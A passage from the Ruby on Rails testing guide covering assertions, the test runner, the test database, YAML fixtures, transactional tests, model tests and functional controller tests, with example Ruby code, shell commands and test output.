### [2.3. The Test Environment](#the-test-environment)

By default, every Rails application has three environments: development, test, and production.

Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`.

Your tests are run under `RAILS_ENV=test`. This is set by Rails automatically.

### [2.4. Writing Your First Test](#writing-your-first-test)

We introduced the `bin/rails generate model` command in the [Getting Started with Rails](getting_started.html#creating-a-database-model) guide. Alongside creating a model, this command also creates a test stub in the `test` directory:

```
$ bin/rails generate model article title:string body:text
...
create  app/models/article.rb
create  test/models/article_test.rb
...
```

The default test stub in `test/models/article_test.rb` looks like this:

```
require "test_helper"

class ArticleTest < ActiveSupport::TestCase
  # test "the truth" do
  #   assert true
  # end
end
```

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

```
require "test_helper"
```

Requiring the file, `test_helper.rb`, loads the default configuration to run tests. All methods added to this file are also available in tests when this file is included.

```
class ArticleTest < ActiveSupport::TestCase
  # ...
end
```

This is called a test case, because the `ArticleTest` class inherits from `ActiveSupport::TestCase`. It therefore also has all the methods from `ActiveSupport::TestCase` available to it. [Later in this guide](#assertions-in-test-cases), we'll see some of the methods this gives us.

Any method defined within a class inherited from `Minitest::Test` (which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` is simply called a test. So, methods defined as `test_password` and `test_valid_password` are test names and are run automatically when the test case is run.

Rails also adds a `test` method that takes a test name and a block. It generates a standard `Minitest::Unit` test with method names prefixed with `test_`, allowing you to focus on writing the test logic without having to think about naming the methods. For example, you can write:

```
test "the truth" do
  assert true
end
```

Which is approximately the same as writing this:

```
def test_the_truth
  assert true
end
```

Although you can still use regular method definitions, using the `test` macro allows for a more readable test name.

The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier, as Ruby allows any string to serve as a method name, including those containing punctuation characters. While this may require using `define_method` and `send` to define and invoke such methods, there are few formal restrictions on the names themselves.

This part of a test is called an 'assertion':

```
assert true
```

An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

* does this value equal that value?
* is this object nil?
* does this line of code throw an exception?
* is the user's password greater than 5 characters?

Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.

#### [2.4.1. Your First Failing Test](#your-first-failing-test)

To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case. In this example, it is asserted that the article will not save without meeting certain criteria; hence, if the article saves successfully, the test will fail, demonstrating a test failure.

```
require "test_helper"

class ArticleTest < ActiveSupport::TestCase
  test "should not save article without title" do
    article = Article.new
    assert_not article.save
  end
end
```

Here is the output if this newly added test is run:

```
$ bin/rails test test/models/article_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 44656

# Running:

F

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:4]:
Expected true to be nil or false


bin/rails test test/models/article_test.rb:4



Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.

1 runs, 1 assertions, 1 failures, 0 errors, 0 skips
```

In the output, `F` indicates a test failure. The section under `Failure` includes the name of the failing test, followed by a stack trace and a message showing the actual value and the expected value from the assertion. The default assertion messages offer just enough information to help identify the error. For improved readability, every assertion allows an optional message parameter to customize the failure message, as shown below:

```
test "should not save article without title" do
  article = Article.new
  assert_not article.save, "Saved the article without a title"
end
```

Running this test shows the friendlier assertion message:

```
Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Saved the article without a title
```

To get this test to pass a model-level validation can be added for the `title` field.

```
class Article < ApplicationRecord
  validates :title, presence: true
end
```

Now the test should pass, as the article in our test has not been initialized with a `title`, so the model validation will prevent the save. This can be verified by running the test again:

```
$ bin/rails test test/models/article_test.rb:6
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 31252

# Running:

.

Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```

The small green dot displayed means that the test has passed successfully.

In the process above, a test was written first which fails for a desired functionality, then after, some code was written which adds the functionality. Finally, the test was run again to ensure it passes. This approach to software development is referred to as *Test-Driven Development* (TDD).

#### [2.4.2. Reporting Errors](#reporting-errors)

To see how an error gets reported, here's a test containing an error:

```
test "should report error" do
  # some_undefined_variable is not defined elsewhere in the test case
  some_undefined_variable
  assert true
end
```

Now you can see even more output in the console from running the tests:

```
$ bin/rails test test/models/article_test.rb
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 1808

# Running:

E

Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method 'some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
    test/models/article_test.rb:11:in 'block in <class:ArticleTest>'


bin/rails test test/models/article_test.rb:9

.

Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
```

Notice the 'E' in the output. It denotes a test with an error. The green dot above the 'Finished' line denotes the one passing test.

The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in random order. The [`config.active_support.test_order`](configuring.html#config-active-support-test-order) option can be used to configure test order.

When a test fails you are presented with the corresponding backtrace. By default, Rails filters the backtrace and will only print lines relevant to your application. This eliminates noise and helps you to focus on your code. However, in situations when you want to see the full backtrace, set the `-b` (or `--backtrace`) argument to enable this behavior:

```
$ bin/rails test -b test/models/article_test.rb
```

If you want this test to pass you can modify it to use `assert_raises` (so you are now checking for the presence of the error) like so:

```
test "should report error" do
  # some_undefined_variable is not defined elsewhere in the test case
  assert_raises(NameError) do
    some_undefined_variable
  end
end
```

This test should now pass.

### [2.5. Minitest Assertions](#minitest-assertions)

By now you've caught a glimpse of some of the assertions that are available. Assertions are the foundation blocks of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

Here's an extract of the assertions you can use with [`minitest`](https://github.com/minitest/minitest), the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer.

| Assertion                                                   | Purpose                                                                                         |
| ----------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `assert(test, [msg])`                                       | Ensures that `test` is true.                                                                    |
| `assert_not(test, [msg])`                                   | Ensures that `test` is false.                                                                   |
| `assert_equal(expected, actual, [msg])`                     | Ensures that `expected == actual` is true.                                                      |
| `assert_not_equal(expected, actual, [msg])`                 | Ensures that `expected != actual` is true.                                                      |
| `assert_same(expected, actual, [msg])`                      | Ensures that `expected.equal?(actual)` is true.                                                 |
| `assert_not_same(expected, actual, [msg])`                  | Ensures that `expected.equal?(actual)` is false.                                                |
| `assert_nil(obj, [msg])`                                    | Ensures that `obj.nil?` is true.                                                                |
| `assert_not_nil(obj, [msg])`                                | Ensures that `obj.nil?` is false.                                                               |
| `assert_empty(obj, [msg])`                                  | Ensures that `obj` is `empty?`.                                                                 |
| `assert_not_empty(obj, [msg])`                              | Ensures that `obj` is not `empty?`.                                                             |
| `assert_match(regexp, string, [msg])`                       | Ensures that a string matches the regular expression.                                           |
| `assert_no_match(regexp, string, [msg])`                    | Ensures that a string doesn't match the regular expression.                                     |
| `assert_includes(collection, obj, [msg])`                   | Ensures that `obj` is in `collection`.                                                          |
| `assert_not_includes(collection, obj, [msg])`               | Ensures that `obj` is not in `collection`.                                                      |
| `assert_in_delta(expected, actual, [delta], [msg])`         | Ensures that the numbers `expected` and `actual` are within `delta` of each other.              |
| `assert_not_in_delta(expected, actual, [delta], [msg])`     | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.          |
| `assert_in_epsilon(expected, actual, [epsilon], [msg])`     | Ensures that the numbers `expected` and `actual` have a relative error less than `epsilon`.     |
| `assert_not_in_epsilon(expected, actual, [epsilon], [msg])` | Ensures that the numbers `expected` and `actual` have a relative error not less than `epsilon`. |
| `assert_throws(symbol, [msg]) { block }`                    | Ensures that the given block throws the symbol.                                                 |
| `assert_raises(exception1, exception2, ...) { block }`      | Ensures that the given block raises one of the given exceptions.                                |
| `assert_instance_of(class, obj, [msg])`                     | Ensures that `obj` is an instance of `class`.                                                   |
| `assert_not_instance_of(class, obj, [msg])`                 | Ensures that `obj` is not an instance of `class`.                                               |
| `assert_kind_of(class, obj, [msg])`                         | Ensures that `obj` is an instance of `class` or is descending from it.                          |
| `assert_not_kind_of(class, obj, [msg])`                     | Ensures that `obj` is not an instance of `class` and is not descending from it.                 |
| `assert_respond_to(obj, symbol, [msg])`                     | Ensures that `obj` responds to `symbol`.                                                        |
| `assert_not_respond_to(obj, symbol, [msg])`                 | Ensures that `obj` does not respond to `symbol`.                                                |
| `assert_operator(obj1, operator, [obj2], [msg])`            | Ensures that `obj1.operator(obj2)` is true.                                                     |
| `assert_not_operator(obj1, operator, [obj2], [msg])`        | Ensures that `obj1.operator(obj2)` is false.                                                    |
| `assert_predicate(obj, predicate, [msg])`                   | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`                      |
| `assert_not_predicate(obj, predicate, [msg])`               | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`                 |
| `flunk([msg])`                                              | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.              |

The above are a subset of assertions that minitest supports. For an exhaustive and more up-to-date list, please check the [minitest API documentation](http://docs.seattlerb.org/minitest/Minitest), specifically [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html).

With minitest you can add your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

Creating your own assertions is a topic that we won't cover in depth in this guide.

### [2.6. Rails-Specific Assertions](#rails-specific-assertions)

Rails adds some custom assertions of its own to the `minitest` framework:

| Assertion                                                                                                                                                                                                      | Purpose                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| [`assert_difference(expressions, difference = 1, message = nil) {...}`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference)                           | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.                                                                                                                                                                                                                                                                                                                                                                                                       |
| [`assert_no_difference(expressions, message = nil, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference)                                   | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.                                                                                                                                                                                                                                                                                                                                                                                                      |
| [`assert_changes(expressions, message = nil, from:, to:, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes)                                   | Test that the result of evaluating an expression is changed after invoking the passed in block.                                                                                                                                                                                                                                                                                                                                                                                                                                |
| [`assert_no_changes(expressions, message = nil, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes)                                         | Test the result of evaluating an expression is not changed after invoking the passed in block.                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| [`assert_nothing_raised { block }`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised)                                                           | Ensures that the given block doesn't raise any exceptions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| [`assert_recognizes(expected_options, path, extras = {}, message = nil)`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes)              | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected\_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected\_options.                                                                                                                                                                                                                                                                                               |
| [`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert\_recognizes. The extra parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.                                                                                                                                                                      |
| [`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing)     | Asserts that `path` and `options` match both ways; in other words, it verifies that `path` generates `options` and then that `options` generates `path`. This essentially combines `assert_recognizes` and `assert_generates` into one step. The extras hash allows you to specify options that would normally be provided as a query string to the action. The message parameter allows you to specify a custom error message to display upon failure.                                                                        |
| [`assert_response(type, message = nil)`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response)                                                | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](https://rubydoc.info/gems/rack/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](https://rubydoc.info/gems/rack/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works. |
| [`assert_redirected_to(options = {}, message = nil)`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to)                              | Asserts that the response is a redirect to a URL matching the given options. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.                                                                                                                                                                                                                                                                                                        |
| [`assert_queries_count(count = nil, include_schema: false, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_count)                    | Asserts that `&block` generates an `int` number of SQL queries.                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| [`assert_no_queries(include_schema: false, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries)                                       | Asserts that `&block` generates no SQL queries.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| [`assert_queries_match(pattern, count: nil, include_schema: false, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_match)            | Asserts that `&block` generates SQL queries that match the pattern.                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| [`assert_no_queries_match(pattern, &block)`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries_match)                                         | Asserts that `&block` generates no SQL queries that match the pattern.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| [`assert_error_reported(class) { block }`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_error_reported)                                       | Asserts that the error class has been reported, e.g. `assert_error_reported IOError { Rails.error.report(IOError.new("Oops")) }`                                                                                                                                                                                                                                                                                                                                                                                               |
| [`assert_no_error_reported { block }`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_no_error_reported)                                        | Asserts that no errors have been reported, e.g. `assert_no_error_reported { perform_service }`                                                                                                                                                                                                                                                                                                                                                                                                                                 |

You'll see the usage of some of these assertions in the next chapter.

### [2.7. Assertions in Test Cases](#assertions-in-test-cases)

All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:

* [`ActiveSupport::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/TestCase.html)
* [`ActionMailer::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActionMailer/TestCase.html)
* [`ActionView::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/TestCase.html)
* [`ActiveJob::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/TestCase.html)
* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Integration/Session.html)
* [`ActionDispatch::SystemTestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/SystemTestCase.html)
* [`Rails::Generators::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/TestCase.html)

Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in your tests.

For more information on `minitest`, refer to the [minitest documentation](http://docs.seattlerb.org/minitest).

### [2.8. The Rails Test Runner](#the-rails-test-runner)

We can run all of our tests at once by using the `bin/rails test` command.

Or we can run a single test file by appending the filename to the `bin/rails test` command.

```
$ bin/rails test test/models/article_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 1559

# Running:

..

Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.

2 runs, 3 assertions, 0 failures, 0 errors, 0 skips
```

This will run all test methods from the test case.

You can also run a particular test method from the test case by providing the `-n` or `--name` flag and the test's method name.

```
$ bin/rails test test/models/article_test.rb -n test_the_truth
Running 1 tests in a single process (parallelization threshold is 50)
Run options: -n test_the_truth --seed 43583

# Running:

.

Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.

1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
```

You can also run a test at a specific line by providing the line number.

```
$ bin/rails test test/models/article_test.rb:6 # run specific test and line
```

You can also run a range of tests by providing the line range:

```
$ bin/rails test test/models/article_test.rb:6-20 # runs tests from line 6 to 20
```

You can also run an entire directory of tests by providing the path to the directory.

```
$ bin/rails test test/controllers # run all tests from specific directory
```

The test runner also provides a lot of other features like failing fast, showing verbose progress, and so on. Check the documentation of the test runner using the command below:

```
$ bin/rails test -h
Usage:
  bin/rails test [PATHS...]

Run tests except system tests

Examples:
    You can run a single test by appending a line number to a filename:

        bin/rails test test/models/user_test.rb:27

    You can run multiple tests within a line range by appending the line range to a filename:

        bin/rails test test/models/user_test.rb:10-20

    You can run multiple files and directories at the same time:

        bin/rails test test/controllers test/integration/login_test.rb

    By default test failures and errors are reported inline during a run.

minitest options:
    -h, --help                       Display this help.
        --no-plugins                 Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS).
    -s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
    -v, --verbose                    Verbose. Show progress processing files.
        --show-skips                 Show skipped at the end of run.
    -n, --name PATTERN               Filter run on /regexp/ or string.
        --exclude PATTERN            Exclude /regexp/ or string from run.
    -S, --skip CODES                 Skip reporting of certain types of results (eg E).

Known extensions: rails, pride
    -w, --warnings                   Run with Ruby warnings enabled
    -e, --environment ENV            Run tests in the ENV environment
    -b, --backtrace                  Show the complete backtrace
    -d, --defer-output               Output test failures and errors after the test run
    -f, --fail-fast                  Abort test run on first failure or error
    -c, --[no-]color                 Enable color in the output
        --profile [COUNT]            Enable profiling of tests and list the slowest test cases (default: 10)
    -p, --pride                      Pride. Show your testing pride!
```

## [3. The Test Database](#the-test-database)

Just about every Rails application interacts heavily with a database and so your tests will need a database to interact with as well. This section covers how to set up this test database and populate it with sample data.

As mentioned in the [Test Environment section](#the-test-environment), every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.

A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can interact with test data with confidence, without worrying about the data in the development or production databases.

### [3.1. Maintaining the Test Database Schema](#maintaining-the-test-database-schema)

In order to run your tests, your test database needs the current schema. The test helper checks whether your test database has any pending migrations. It will try to load your `db/schema.rb` or `db/structure.sql` into the test database. If migrations are still pending, an error will be raised. Usually this indicates that your schema is not fully migrated. Running the migrations (using `bin/rails db:migrate RAILS_ENV=test`) will bring the schema up to date.

If there were modifications to existing migrations, the test database needs to be rebuilt. This can be done by executing `bin/rails test:db`.

### [3.2. Fixtures](#fixtures)

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the [Fixtures API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FixtureSet.html).

#### [3.2.1. What are Fixtures?](#what-are-fixtures-questionmark)

*Fixtures* is a fancy word for a consistent set of test data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.

Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.

Fixtures are stored in your `test/fixtures` directory.

#### [3.2.2. YAML](#yaml)

[YAML](https://en.wikipedia.org/wiki/YAML) is a human-readable data serialization language. YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).

Here's a sample YAML fixture file:

```
# lo & behold! I am a YAML comment!
david:
  name: David Heinemeier Hansson
  birthday: 1979-10-15
  profession: Systems development

steve:
  name: Steve Ross Kellock
  birthday: 1974-09-27
  profession: guy with keyboard
```

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.

If you are working with [associations](association_basics.html), you can define a reference node between two different fixtures. Here's an example with a `belongs_to`/`has_many` association:

```
# test/fixtures/categories.yml
web_frameworks:
  name: Web Frameworks
```

```
# test/fixtures/articles.yml
first:
  title: Welcome to Rails!
  category: web_frameworks
```

```
# test/fixtures/action_text/rich_texts.yml
first_content:
  record: first (Article)
  name: content
  body: <div>Hello, from <strong>a fixture</strong></div>
```

Notice the `category` key of the `first` Article found in `fixtures/articles.yml` has a value of `web_frameworks`, and that the `record` key of the `first_content` entry found in `fixtures/action_text/rich_texts.yml` has a value of `first (Article)`. This hints to Active Record to load the Category `web_frameworks` found in `fixtures/categories.yml` for the former, and Action Text to load the Article `first` found in `fixtures/articles.yml` for the latter.

For associations to reference one another by name, you can use the fixture name instead of specifying the `id:` attribute on the associated fixtures. Rails will auto-assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FixtureSet.html).

#### [3.2.3. File Attachment Fixtures](#file-attachment-fixtures)

Like other Active Record-backed models, Active Storage attachment records inherit from ActiveRecord::Base instances and can therefore be populated by fixtures.

Consider an `Article` model that has an associated image as a `thumbnail` attachment, along with fixture data YAML:

```
class Article < ApplicationRecord
  has_one_attached :thumbnail
end
```

```
# test/fixtures/articles.yml
first:
  title: An Article
```

Assuming that there is an [image/png](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types) encoded file at `test/fixtures/files/first.png`, the following YAML fixture entries will generate the related `ActiveStorage::Blob` and `ActiveStorage::Attachment` records:

```
# test/fixtures/active_storage/blobs.yml
first_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob filename: "first.png" %>
```

```
# test/fixtures/active_storage/attachments.yml
first_thumbnail_attachment:
  name: thumbnail
  record: first (Article)
  blob: first_thumbnail_blob
```

#### [3.2.4. Embedding Code in Fixtures](#embedding-code-in-fixtures)

ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:

```
<% 1000.times do |n| %>
  user_<%= n %>:
    username: <%= "user#{n}" %>
    email: <%= "user#{n}@example.com" %>
<% end %>
```

#### [3.2.5. Fixtures in Action](#fixtures-in-action)

Rails automatically loads all fixtures from the `test/fixtures` directory by default. Loading involves three steps:

1. Remove any existing data from the table corresponding to the fixture
2. Load the fixture data into the table
3. Dump the fixture data into a method in case you want to access it directly

In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting permission errors on running tests, make sure the database user has the permission to disable these triggers in the testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about [permissions in the PostgreSQL docs](https://www.postgresql.org/docs/current/sql-altertable.html)).

#### [3.2.6. Fixtures are Active Record Objects](#fixtures-are-active-record-objects)

Fixtures are instances of Active Record. As mentioned above, you can access the object directly because it is automatically available as a method whose scope is local to the test case. For example:

```
# this will return the User object for the fixture named david
users(:david)

# this will return the property for david called id
users(:david).id

# methods available to the User object can also be accessed
david = users(:david)
david.call(david.partner)
```

To get multiple fixtures at once, you can pass in a list of fixture names. For example:

```
# this will return an array containing the fixtures david and steve
users(:david, :steve)
```

### [3.3. Transactions](#transactions)

By default, Rails automatically wraps tests in a database transaction that is rolled back once completed. This makes tests independent of each other and means that changes to the database are only visible within a single test.

```
class MyTest < ActiveSupport::TestCase
  test "newly created users are active by default" do
    # Since the test is implicitly wrapped in a database transaction, the user
    # created here won't be seen by other tests.
    assert User.create.active?
  end
end
```

The method [`ActiveRecord::Base.current_transaction`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-current_transaction) still acts as intended, though:

```
class MyTest < ActiveSupport::TestCase
  test "Active Record current_transaction method works as expected" do
    # The implicit transaction around tests does not interfere with the
    # application-level semantics of the current_transaction.
    assert User.current_transaction.blank?
  end
end
```

If there are [multiple writing databases](active_record_multiple_databases.html) in place, tests are wrapped in as many respective transactions, and all of them are rolled back.

#### [3.3.1. Opting-out of Test Transactions](#opting-out-of-test-transactions)

Individual test cases can opt-out:

```
class MyTest < ActiveSupport::TestCase
  # No implicit database transaction wraps the tests in this test case.
  self.use_transactional_tests = false
end
```

## [4. Testing Models](#testing-models)

Model tests are used to test the models of your application and their associated logic. You can test this logic using the assertions and fixtures that we've explored in the sections above.

Rails model tests are stored under the `test/models` directory. Rails provides a generator to create a model test skeleton for you.

```
$ bin/rails generate test_unit:model article
create  test/models/article_test.rb
```

This command will generate the following file:

```
# article_test.rb
require "test_helper"

class ArticleTest < ActiveSupport::TestCase
  # test "the truth" do
  #   assert true
  # end
end
```

Model tests don't have their own superclass like `ActionMailer::TestCase`. Instead, they inherit from [`ActiveSupport::TestCase`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/TestCase.html).

## [5. Functional Testing for Controllers](#functional-testing-for-controllers)

When writing functional tests, you are focusing on testing how controller actions handle the requests and the expected result or response. Functional controller tests are used to test controllers and other behavior, like API responses.

### [5.1. What to Include in Your Functional Tests](#what-to-include-in-your-functional-tests)

You could test for things such as:

* was the web request successful?
* was the user redirected to the right page?
* was the user successfully authenticated?
* was the correct information displayed in the response?

The easiest way to see functional tests in action is to generate a controller using the scaffold generator:

```
$ bin/rails generate scaffold_controller article
...
create  app/controllers/articles_controller.rb
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...
```

This will generate the controller code and tests for an `Article` resource. You can take a look at the file `articles_controller_test.rb` in the `test/controllers` directory.

If you already have a controller and just want to generate the test scaffold code for each of the seven default actions, you can use the following command:

```
$ bin/rails generate test_unit:scaffold article
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...
```

if you are generating test scaffold code, you will see an `@article` value is set and used throughout the test file. This instance of `article` uses the attributes nested within a `:one` key in the `test/fixtures/articles.yml` file. Make sure you have set the key and related values in this file before you try to run the tests.

Let's take a look at one such test, `test_should_get_index` from the file `articles_controller_test.rb`.

```
# articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
  test "should get index" do
    get articles_url
    assert_response :success
  end
end
```

In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful, and also ensuring that the right response body has been generated.

The `get` method kicks off the web request and populates the results into the `@response`. It can accept up to 6 arguments:

* The URI of the controller action you are requesting. This can be in the form of a string or a route helper (e.g. `articles_url`).
* `params`: option with a hash of request parameters to pass into the action (e.g. query string parameters or article variables).
* `headers`: for setting the headers that will be passed with the request.
* `env`: for customizing the request environment as needed.
* `xhr`: whether the request is AJAX request or not. Can be set to true for marking the request as AJAX.
* `as`: for encoding the request with different content type.

All of these keyword arguments are optional.

Example: Calling the `:show` action (via a `get` request) for the first `Article`, passing in an `HTTP_REFERER` header:

```
get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }
```

Another example: Calling the `:update` action (via a `patch` request) for the last `Article`, passing in new text for the `title` in `params`, as an AJAX request:

```
patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true
```

One more example: Calling the `:create` action (via a `post` request) to create a new article, passing in text for the `title` in `params`, as JSON request:

```
post articles_url, params: { article: { title: "Ahoy!" } }, as: :json
```

If you try running the `test_should_create_article` test from `articles_controller_test.rb` it will (correctly) fail due to the newly added model-level validation.

Now to modify the `test_should_create_article` test in `articles_controller_test.rb` so that this test passes:

```
test "should create article" do
  assert_difference("Article.count") do
    post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }
  end

  assert_redirected_to article_path(Article.last)
end
```

You can now run this test and it will pass.

If you followed the steps in the [Basic Authentication](getting_started.html#adding-authentication) section, you'll need to add authorization to every request header to get all the tests passing:

```
post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret") }
```

### [5.2. HTTP Request Types for Functional Tests](#http-request-types-for-functional-tests)

If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:

* `get`
* `post`
* `patch`
* `put`
* `head`
* `delete`

All of the request types have equivalent methods that you can use. In a typical CRUD application you'll be using `post`, `get`, `put`, and `delete` most often.

Functional tests do not verify whether the specified request type is accepted by the action; instead, they focus on the result. For testing the request type, request tests are available, making your tests more purposeful.

### [5.3. Testing XHR (AJAX) Requests](#testing-xhr-ajax-requests)

An AJAX request (Asynchronous JavaScript and XML) is a technique where content is fetched from the server using asynchronous HTTP requests and the relevant parts of the page are updated without requiring a full page load.

To test AJAX requests, you can specify the `xhr: true` option to `get`, `post`, `patch`, `put`, and `delete` methods. For example:

```
test "AJAX request" do
  article = articles(:one)
  get article_url(article), xhr: true

  assert_equal "hello world", @response.body
  assert_equal "text/javascript", @response.media_type
end
```

### [5.4. Testing Other Request Objects](#testing-other-request-objects)

After any request has been made and processed, you will have 3 Hash objects ready for use:

* `cookies` - Any cookies that are set
* `flash` - Any objects living in the flash
